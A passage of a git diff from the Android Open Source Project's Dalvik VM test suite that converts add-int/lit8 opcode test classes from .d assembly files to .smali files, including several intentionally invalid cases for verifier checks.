+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_11.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.d
deleted file mode 100644
index a8776f7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_12.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -32768
-       add-int/lit8 v0, v1, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali
new file mode 100644
index 0000000..e8bd4a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_12.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -32768
+       add-int/lit8 v0, v1, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.d
deleted file mode 100644
index d5a468b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_13.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       add-int/lit8 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali
new file mode 100644
index 0000000..c456a58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_13.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       add-int/lit8 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.d
deleted file mode 100644
index 873fff0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_14.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 33231415
-       add-int/lit8 v0, v0, 1
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali
new file mode 100644
index 0000000..e28705d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_14.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 33231415
+       add-int/lit8 v0, v0, 1
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.d
deleted file mode 100644
index 28b894e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_15.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali
new file mode 100644
index 0000000..d54c826
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_15.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.d
deleted file mode 100644
index 3d4d8c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_16.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       add-int/lit8 v0, v3, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali
new file mode 100644
index 0000000..2ca139e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_16.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       add-int/lit8 v0, v3, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.d
deleted file mode 100644
index 6bdf030..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_17.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       add-int/lit8 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali
new file mode 100644
index 0000000..fd19783
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_17.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int/lit8 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.d
deleted file mode 100644
index ef0a0fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_2.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -128
-       add-int/lit8 v0, v1, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali
new file mode 100644
index 0000000..741b8ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -128
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.d
deleted file mode 100644
index 9a49def..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_3.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit8 v0, v1, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali
new file mode 100644
index 0000000..5465e2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.d
deleted file mode 100644
index a3fd7dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_4.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483647
-       add-int/lit8 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali
new file mode 100644
index 0000000..ba14f26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483647
+       add-int/lit8 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.d
deleted file mode 100644
index ab9f0ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_5.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0x7ffffffe
-       add-int/lit8 v0, v1, 2
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java
index 6691276..8f22f7f 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java
@@ -18,6 +18,7 @@
 
 public class T_add_int_lit8_5 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 0x7ffffffe + 2;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali
new file mode 100644
index 0000000..3ed0b0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0x7ffffffe
+       add-int/lit8 v0, v1, 2
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.d
deleted file mode 100644
index 4ea7fdb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_6.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali
new file mode 100644
index 0000000..c79b07f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.d
deleted file mode 100644
index 01fdc0c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
